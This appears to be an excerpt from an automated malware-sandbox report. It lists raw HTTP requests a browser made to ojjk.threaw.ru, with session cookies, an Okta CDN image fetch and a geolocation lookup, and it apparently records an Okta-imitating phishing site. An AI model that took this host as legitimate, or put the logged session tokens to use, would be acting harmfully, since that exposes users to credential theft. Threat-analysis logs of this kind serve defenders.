XSRF-TOKEN=eyJpdiI6Ijcyb3dJdkhJYmxOcVNxMDVvOE1kd2c9PSIsInZhbHVlIjoiNFVDdUltcTRWcXloWU95WFRlS21FZFhFMHNvbjg5S0FnSFpDT2hLMnVtVzhna1ErQkxEZlRRNUpLNG85N1E1bWVjc0dCWnphaEduZVk0Rkc5UVUvbUtKU2g1eVFHSzdoeW5uNFc4Qm9COVAzV0liSkE0UnRLNDV4RGUwWkZRRkIiLCJtYWMiOiJiZDhlMTE1ZGQ0OTM1NmM0M2I1ZWMyZGZhOWZjMmI3ZWQzMDhiODAwMzJjMzgwNjE3MGM2ZjUyMTQ1ODk0MjBiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InNNbDlMSlVVSmUyOXlYbnJDQU1VclE9PSIsInZhbHVlIjoiMTg5M25UVXY0YTV0alFPRFRZU2xyeTE3S2s3ZmlZMWJKcGVFTm9rNnhLTklwQXNTUGZqNi9jR2NZUjVleEJ5bUg2dC8rVXBXYW5obTNjMkdZUXdOeVh0MXVERktCWFBGWjMwNlFnMzFTVXpkOG1YN1ZtK3RTLzlBVkZGVEhtSHgiLCJtYWMiOiI2MjE2NWEyNThhN2U0MmJiNGQwNzA5OWE0ZWI0YWIzMzc1NjliYTVjZTQ4NTIyMDNjM2QzZDM5ODliZjU3NzgyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yz46pLUD00kizHYnnU6bof7bcAirsvdWRIwJmSlYfP7x0LZR90180 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijcyb3dJdkhJYmxOcVNxMDVvOE1kd2c9PSIsInZhbHVlIjoiNFVDdUltcTRWcXloWU95WFRlS21FZFhFMHNvbjg5S0FnSFpDT2hLMnVtVzhna1ErQkxEZlRRNUpLNG85N1E1bWVjc0dCWnphaEduZVk0Rkc5UVUvbUtKU2g1eVFHSzdoeW5uNFc4Qm9COVAzV0liSkE0UnRLNDV4RGUwWkZRRkIiLCJtYWMiOiJiZDhlMTE1ZGQ0OTM1NmM0M2I1ZWMyZGZhOWZjMmI3ZWQzMDhiODAwMzJjMzgwNjE3MGM2ZjUyMTQ1ODk0MjBiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InNNbDlMSlVVSmUyOXlYbnJDQU1VclE9PSIsInZhbHVlIjoiMTg5M25UVXY0YTV0alFPRFRZU2xyeTE3S2s3ZmlZMWJKcGVFTm9rNnhLTklwQXNTUGZqNi9jR2NZUjVleEJ5bUg2dC8rVXBXYW5obTNjMkdZUXdOeVh0MXVERktCWFBGWjMwNlFnMzFTVXpkOG1YN1ZtK3RTLzlBVkZGVEhtSHgiLCJtYWMiOiI2MjE2NWEyNThhN2U0MmJiNGQwNzA5OWE0ZWI0YWIzMzc1NjliYTVjZTQ4NTIyMDNjM2QzZDM5ODliZjU3NzgyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rseyf4M4qkLC6N79HlPA2Lj3xn4lLij2MR5V7XE1fNHuAoaNID0cd191 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRyNmFwdmZZVGpka1hJMWpMOHFRV1E9PSIsInZhbHVlIjoiemhOM0dYU3FYRUNZSHRqQSt5ZzVpc2Z3dllTMWhyWHgxaHNwUHpPZm83dkhpNm45dzhHRDZJaGpabi96NzNSTnFIUGcxSkljcWpHTzNtWjkrK1RBSnEyNEoxTmZKTXpwQ1pJNHB5K3pwM3Fjc1hzb0NybEdRSzJhN3REUFdjQ2YiLCJtYWMiOiI1ZDM3YmM1ZTQ5ZmNmMDVkMmU5NDdlYTcwOWMxNzFhNmVmNDNlOTVjNjg2NGVhMjliNWE3ZGY0OThkZWM3MGIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjliQVpKWHlBN1BCUDBCNjlWR1pFa3c9PSIsInZhbHVlIjoiM0RuWWlWbjZhTUVwQVZrd0xjOTVOSzRHVGlLZGFzSXNUbTRJSEloNHFDZURPQWtLa3hoTHJKMG1PSFJSRDZhQndSdUxYbFpUclYvZlVBNE44bCt3bnhxV21yTmx0L1cxUlVqcE5BY1QxZnozb2ZXR2ZQK095bm5RbU1sTjNCWFoiLCJtYWMiOiJlZmQzMDIyODFhYTQ5OWU3NzRhYzQxMTkzMTU3OTc5NDA0ZmNjN2I0NDllNTQxOTNiMDM2Mzc3OTI5NmI5YjI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ij0AlpT5Tf9myJvtskiIi82JmxrVsbHB89zzrQRRNOJaA2eUjHo0gSq0qa5Kyz230 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijcyb3dJdkhJYmxOcVNxMDVvOE1kd2c9PSIsInZhbHVlIjoiNFVDdUltcTRWcXloWU95WFRlS21FZFhFMHNvbjg5S0FnSFpDT2hLMnVtVzhna1ErQkxEZlRRNUpLNG85N1E1bWVjc0dCWnphaEduZVk0Rkc5UVUvbUtKU2g1eVFHSzdoeW5uNFc4Qm9COVAzV0liSkE0UnRLNDV4RGUwWkZRRkIiLCJtYWMiOiJiZDhlMTE1ZGQ0OTM1NmM0M2I1ZWMyZGZhOWZjMmI3ZWQzMDhiODAwMzJjMzgwNjE3MGM2ZjUyMTQ1ODk0MjBiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InNNbDlMSlVVSmUyOXlYbnJDQU1VclE9PSIsInZhbHVlIjoiMTg5M25UVXY0YTV0alFPRFRZU2xyeTE3S2s3ZmlZMWJKcGVFTm9rNnhLTklwQXNTUGZqNi9jR2NZUjVleEJ5bUg2dC8rVXBXYW5obTNjMkdZUXdOeVh0MXVERktCWFBGWjMwNlFnMzFTVXpkOG1YN1ZtK3RTLzlBVkZGVEhtSHgiLCJtYWMiOiI2MjE2NWEyNThhN2U0MmJiNGQwNzA5OWE0ZWI0YWIzMzc1NjliYTVjZTQ4NTIyMDNjM2QzZDM5ODliZjU3NzgyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvqdWH9UkZgIhqcpFstwLaNBMzYeeuym12130 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRyNmFwdmZZVGpka1hJMWpMOHFRV1E9PSIsInZhbHVlIjoiemhOM0dYU3FYRUNZSHRqQSt5ZzVpc2Z3dllTMWhyWHgxaHNwUHpPZm83dkhpNm45dzhHRDZJaGpabi96NzNSTnFIUGcxSkljcWpHTzNtWjkrK1RBSnEyNEoxTmZKTXpwQ1pJNHB5K3pwM3Fjc1hzb0NybEdRSzJhN3REUFdjQ2YiLCJtYWMiOiI1ZDM3YmM1ZTQ5ZmNmMDVkMmU5NDdlYTcwOWMxNzFhNmVmNDNlOTVjNjg2NGVhMjliNWE3ZGY0OThkZWM3MGIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjliQVpKWHlBN1BCUDBCNjlWR1pFa3c9PSIsInZhbHVlIjoiM0RuWWlWbjZhTUVwQVZrd0xjOTVOSzRHVGlLZGFzSXNUbTRJSEloNHFDZURPQWtLa3hoTHJKMG1PSFJSRDZhQndSdUxYbFpUclYvZlVBNE44bCt3bnhxV21yTmx0L1cxUlVqcE5BY1QxZnozb2ZXR2ZQK095bm5RbU1sTjNCWFoiLCJtYWMiOiJlZmQzMDIyODFhYTQ5OWU3NzRhYzQxMTkzMTU3OTc5NDA0ZmNjN2I0NDllNTQxOTNiMDM2Mzc3OTI5NmI5YjI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://ojjk.threaw.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ghAbPLuVWKAPK1MpTYpJTToVl3lrrmnOyjWS2oiClbe20Y5DYBEWGpef209 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRyNmFwdmZZVGpka1hJMWpMOHFRV1E9PSIsInZhbHVlIjoiemhOM0dYU3FYRUNZSHRqQSt5ZzVpc2Z3dllTMWhyWHgxaHNwUHpPZm83dkhpNm45dzhHRDZJaGpabi96NzNSTnFIUGcxSkljcWpHTzNtWjkrK1RBSnEyNEoxTmZKTXpwQ1pJNHB5K3pwM3Fjc1hzb0NybEdRSzJhN3REUFdjQ2YiLCJtYWMiOiI1ZDM3YmM1ZTQ5ZmNmMDVkMmU5NDdlYTcwOWMxNzFhNmVmNDNlOTVjNjg2NGVhMjliNWE3ZGY0OThkZWM3MGIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjliQVpKWHlBN1BCUDBCNjlWR1pFa3c9PSIsInZhbHVlIjoiM0RuWWlWbjZhTUVwQVZrd0xjOTVOSzRHVGlLZGFzSXNUbTRJSEloNHFDZURPQWtLa3hoTHJKMG1PSFJSRDZhQndSdUxYbFpUclYvZlVBNE44bCt3bnhxV21yTmx0L1cxUlVqcE5BY1QxZnozb2ZXR2ZQK095bm5RbU1sTjNCWFoiLCJtYWMiOiJlZmQzMDIyODFhYTQ5OWU3NzRhYzQxMTkzMTU3OTc5NDA0ZmNjN2I0NDllNTQxOTNiMDM2Mzc3OTI5NmI5YjI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnftGZ6T4KS81p8fZTeBwvv5HuxobfRDUiIdnlklUtCsHL332DD05fTkpvwx212 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRyNmFwdmZZVGpka1hJMWpMOHFRV1E9PSIsInZhbHVlIjoiemhOM0dYU3FYRUNZSHRqQSt5ZzVpc2Z3dllTMWhyWHgxaHNwUHpPZm83dkhpNm45dzhHRDZJaGpabi96NzNSTnFIUGcxSkljcWpHTzNtWjkrK1RBSnEyNEoxTmZKTXpwQ1pJNHB5K3pwM3Fjc1hzb0NybEdRSzJhN3REUFdjQ2YiLCJtYWMiOiI1ZDM3YmM1ZTQ5ZmNmMDVkMmU5NDdlYTcwOWMxNzFhNmVmNDNlOTVjNjg2NGVhMjliNWE3ZGY0OThkZWM3MGIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjliQVpKWHlBN1BCUDBCNjlWR1pFa3c9PSIsInZhbHVlIjoiM0RuWWlWbjZhTUVwQVZrd0xjOTVOSzRHVGlLZGFzSXNUbTRJSEloNHFDZURPQWtLa3hoTHJKMG1PSFJSRDZhQndSdUxYbFpUclYvZlVBNE44bCt3bnhxV21yTmx0L1cxUlVqcE5BY1QxZnozb2ZXR2ZQK095bm5RbU1sTjNCWFoiLCJtYWMiOiJlZmQzMDIyODFhYTQ5OWU3NzRhYzQxMTkzMTU3OTc5NDA0ZmNjN2I0NDllNTQxOTNiMDM2Mzc3OTI5NmI5YjI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rnTqwRZpKsqnr655sK1qTI2O0HGdb85PM6HGnHijEIUQvh HTTP/1.1Host: ojjk.threaw.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRyNmFwdmZZVGpka1hJMWpMOHFRV1E9PSIsInZhbHVlIjoiemhOM0dYU3FYRUNZSHRqQSt5ZzVpc2Z3dllTMWhyWHgxaHNwUHpPZm83dkhpNm45dzhHRDZJaGpabi96NzNSTnFIUGcxSkljcWpHTzNtWjkrK1RBSnEyNEoxTmZKTXpwQ1pJNHB5K3pwM3Fjc1hzb0NybEdRSzJhN3REUFdjQ2YiLCJtYWMiOiI1ZDM3YmM1ZTQ5ZmNmMDVkMmU5NDdlYTcwOWMxNzFhNmVmNDNlOTVjNjg2NGVhMjliNWE3ZGY0OThkZWM3MGIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjliQVpKWHlBN1BCUDBCNjlWR1pFa3c9PSIsInZhbHVlIjoiM0RuWWlWbjZhTUVwQVZrd0xjOTVOSzRHVGlLZGFzSXNUbTRJSEloNHFDZURPQWtLa3hoTHJKMG1PSFJSRDZhQndSdUxYbFpUclYvZlVBNE44bCt3bnhxV21yTmx0L1cxUlVqcE5BY1QxZnozb2ZXR2ZQK095bm5RbU1sTjNCWFoiLCJtYWMiOiJlZmQzMDIyODFhYTQ5OWU3NzRhYzQxMTkzMTU3OTc5NDA0ZmNjN2I0NDllNTQxOTNiMDM2Mzc3OTI5NmI5YjI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ophNMnjD09t6LRNnwcDIWcrcEbT92TV122rA7n9zTIc2j9al0Pdzcd240 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRyNmFwdmZZVGpka1hJMWpMOHFRV1E9PSIsInZhbHVlIjoiemhOM0dYU3FYRUNZSHRqQSt5ZzVpc2Z3dllTMWhyWHgxaHNwUHpPZm83dkhpNm45dzhHRDZJaGpabi96NzNSTnFIUGcxSkljcWpHTzNtWjkrK1RBSnEyNEoxTmZKTXpwQ1pJNHB5K3pwM3Fjc1hzb0NybEdRSzJhN3REUFdjQ2YiLCJtYWMiOiI1ZDM3YmM1ZTQ5ZmNmMDVkMmU5NDdlYTcwOWMxNzFhNmVmNDNlOTVjNjg2NGVhMjliNWE3ZGY0OThkZWM3MGIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjliQVpKWHlBN1BCUDBCNjlWR1pFa3c9PSIsInZhbHVlIjoiM0RuWWlWbjZhTUVwQVZrd0xjOTVOSzRHVGlLZGFzSXNUbTRJSEloNHFDZURPQWtLa3hoTHJKMG1PSFJSRDZhQndSdUxYbFpUclYvZlVBNE44bCt3bnhxV21yTmx0L1cxUlVqcE5BY1QxZnozb2ZXR2ZQK095bm5RbU1sTjNCWFoiLCJtYWMiOiJlZmQzMDIyODFhYTQ5OWU3NzRhYzQxMTkzMTU3OTc5NDA0ZmNjN2I0NDllNTQxOTNiMDM2Mzc3OTI5NmI5YjI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /stNPXmdKQocuHxRwNF8NI8G79SRSOmnWO3iAAp3xltq1AgaMB1ZgnzthM97kWmKjnhhckgh260 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRyNmFwdmZZVGpka1hJMWpMOHFRV1E9PSIsInZhbHVlIjoiemhOM0dYU3FYRUNZSHRqQSt5ZzVpc2Z3dllTMWhyWHgxaHNwUHpPZm83dkhpNm45dzhHRDZJaGpabi96NzNSTnFIUGcxSkljcWpHTzNtWjkrK1RBSnEyNEoxTmZKTXpwQ1pJNHB5K3pwM3Fjc1hzb0NybEdRSzJhN3REUFdjQ2YiLCJtYWMiOiI1ZDM3YmM1ZTQ5ZmNmMDVkMmU5NDdlYTcwOWMxNzFhNmVmNDNlOTVjNjg2NGVhMjliNWE3ZGY0OThkZWM3MGIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjliQVpKWHlBN1BCUDBCNjlWR1pFa3c9PSIsInZhbHVlIjoiM0RuWWlWbjZhTUVwQVZrd0xjOTVOSzRHVGlLZGFzSXNUbTRJSEloNHFDZURPQWtLa3hoTHJKMG1PSFJSRDZhQndSdUxYbFpUclYvZlVBNE44bCt3bnhxV21yTmx0L1cxUlVqcE5BY1QxZnozb2ZXR2ZQK095bm5RbU1sTjNCWFoiLCJtYWMiOiJlZmQzMDIyODFhYTQ5OWU3NzRhYzQxMTkzMTU3OTc5NDA0ZmNjN2I0NDllNTQxOTNiMDM2Mzc3OTI5NmI5YjI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrPpQi0Fj5bdUDaP5werwOhEVkgh5AQlaeZlQ2Jh1a47tLuSUd67138 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRyNmFwdmZZVGpka1hJMWpMOHFRV1E9PSIsInZhbHVlIjoiemhOM0dYU3FYRUNZSHRqQSt5ZzVpc2Z3dllTMWhyWHgxaHNwUHpPZm83dkhpNm45dzhHRDZJaGpabi96NzNSTnFIUGcxSkljcWpHTzNtWjkrK1RBSnEyNEoxTmZKTXpwQ1pJNHB5K3pwM3Fjc1hzb0NybEdRSzJhN3REUFdjQ2YiLCJtYWMiOiI1ZDM3YmM1ZTQ5ZmNmMDVkMmU5NDdlYTcwOWMxNzFhNmVmNDNlOTVjNjg2NGVhMjliNWE3ZGY0OThkZWM3MGIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjliQVpKWHlBN1BCUDBCNjlWR1pFa3c9PSIsInZhbHVlIjoiM0RuWWlWbjZhTUVwQVZrd0xjOTVOSzRHVGlLZGFzSXNUbTRJSEloNHFDZURPQWtLa3hoTHJKMG1PSFJSRDZhQndSdUxYbFpUclYvZlVBNE44bCt3bnhxV21yTmx0L1cxUlVqcE5BY1QxZnozb2ZXR2ZQK095bm5RbU1sTjNCWFoiLCJtYWMiOiJlZmQzMDIyODFhYTQ5OWU3NzRhYzQxMTkzMTU3OTc5NDA0ZmNjN2I0NDllNTQxOTNiMDM2Mzc3OTI5NmI5YjI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnwFd5onowWAHTghXXWAijTPXzNan5WlIhl678142 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRyNmFwdmZZVGpka1hJMWpMOHFRV1E9PSIsInZhbHVlIjoiemhOM0dYU3FYRUNZSHRqQSt5ZzVpc2Z3dllTMWhyWHgxaHNwUHpPZm83dkhpNm45dzhHRDZJaGpabi96NzNSTnFIUGcxSkljcWpHTzNtWjkrK1RBSnEyNEoxTmZKTXpwQ1pJNHB5K3pwM3Fjc1hzb0NybEdRSzJhN3REUFdjQ2YiLCJtYWMiOiI1ZDM3YmM1ZTQ5ZmNmMDVkMmU5NDdlYTcwOWMxNzFhNmVmNDNlOTVjNjg2NGVhMjliNWE3ZGY0OThkZWM3MGIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjliQVpKWHlBN1BCUDBCNjlWR1pFa3c9PSIsInZhbHVlIjoiM0RuWWlWbjZhTUVwQVZrd0xjOTVOSzRHVGlLZGFzSXNUbTRJSEloNHFDZURPQWtLa3hoTHJKMG1PSFJSRDZhQndSdUxYbFpUclYvZlVBNE44bCt3bnhxV21yTmx0L1cxUlVqcE5BY1QxZnozb2ZXR2ZQK095bm5RbU1sTjNCWFoiLCJtYWMiOiJlZmQzMDIyODFhYTQ5OWU3NzRhYzQxMTkzMTU3OTc5NDA0ZmNjN2I0NDllNTQxOTNiMDM2Mzc3OTI5NmI5YjI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://ojjk.threaw.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ojjk.threaw.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ophNMnjD09t6LRNnwcDIWcrcEbT92TV122rA7n9zTIc2j9al0Pdzcd240 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRyNmFwdmZZVGpka1hJMWpMOHFRV1E9PSIsInZhbHVlIjoiemhOM0dYU3FYRUNZSHRqQSt5ZzVpc2Z3dllTMWhyWHgxaHNwUHpPZm83dkhpNm45dzhHRDZJaGpabi96NzNSTnFIUGcxSkljcWpHTzNtWjkrK1RBSnEyNEoxTmZKTXpwQ1pJNHB5K3pwM3Fjc1hzb0NybEdRSzJhN3REUFdjQ2YiLCJtYWMiOiI1ZDM3YmM1ZTQ5ZmNmMDVkMmU5NDdlYTcwOWMxNzFhNmVmNDNlOTVjNjg2NGVhMjliNWE3ZGY0OThkZWM3MGIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjliQVpKWHlBN1BCUDBCNjlWR1pFa3c9PSIsInZhbHVlIjoiM0RuWWlWbjZhTUVwQVZrd0xjOTVOSzRHVGlLZGFzSXNUbTRJSEloNHFDZURPQWtLa3hoTHJKMG1PSFJSRDZhQndSdUxYbFpUclYvZlVBNE44bCt3bnhxV21yTmx0L1cxUlVqcE5BY1QxZnozb2ZXR2ZQK095bm5RbU1sTjNCWFoiLCJtYWMiOiJlZmQzMDIyODFhYTQ5OWU3NzRhYzQxMTkzMTU3OTc5NDA0ZmNjN2I0NDllNTQxOTNiMDM2Mzc3OTI5NmI5YjI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rseyf4M4qkLC6N79HlPA2Lj3xn4lLij2MR5V7XE1fNHuAoaNID0cd191 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRyNmFwdmZZVGpka1hJMWpMOHFRV1E9PSIsInZhbHVlIjoiemhOM0dYU3FYRUNZSHRqQSt5ZzVpc2Z3dllTMWhyWHgxaHNwUHpPZm83dkhpNm45dzhHRDZJaGpabi96NzNSTnFIUGcxSkljcWpHTzNtWjkrK1RBSnEyNEoxTmZKTXpwQ1pJNHB5K3pwM3Fjc1hzb0NybEdRSzJhN3REUFdjQ2YiLCJtYWMiOiI1ZDM3YmM1ZTQ5ZmNmMDVkMmU5NDdlYTcwOWMxNzFhNmVmNDNlOTVjNjg2NGVhMjliNWE3ZGY0OThkZWM3MGIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjliQVpKWHlBN1BCUDBCNjlWR1pFa3c9PSIsInZhbHVlIjoiM0RuWWlWbjZhTUVwQVZrd0xjOTVOSzRHVGlLZGFzSXNUbTRJSEloNHFDZURPQWtLa3hoTHJKMG1PSFJSRDZhQndSdUxYbFpUclYvZlVBNE44bCt3bnhxV21yTmx0L1cxUlVqcE5BY1QxZnozb2ZXR2ZQK095bm5RbU1sTjNCWFoiLCJtYWMiOiJlZmQzMDIyODFhYTQ5OWU3NzRhYzQxMTkzMTU3OTc5NDA0ZmNjN2I0NDllNTQxOTNiMDM2Mzc3OTI5NmI5YjI2IiwidGFnIjoiIn0%3D
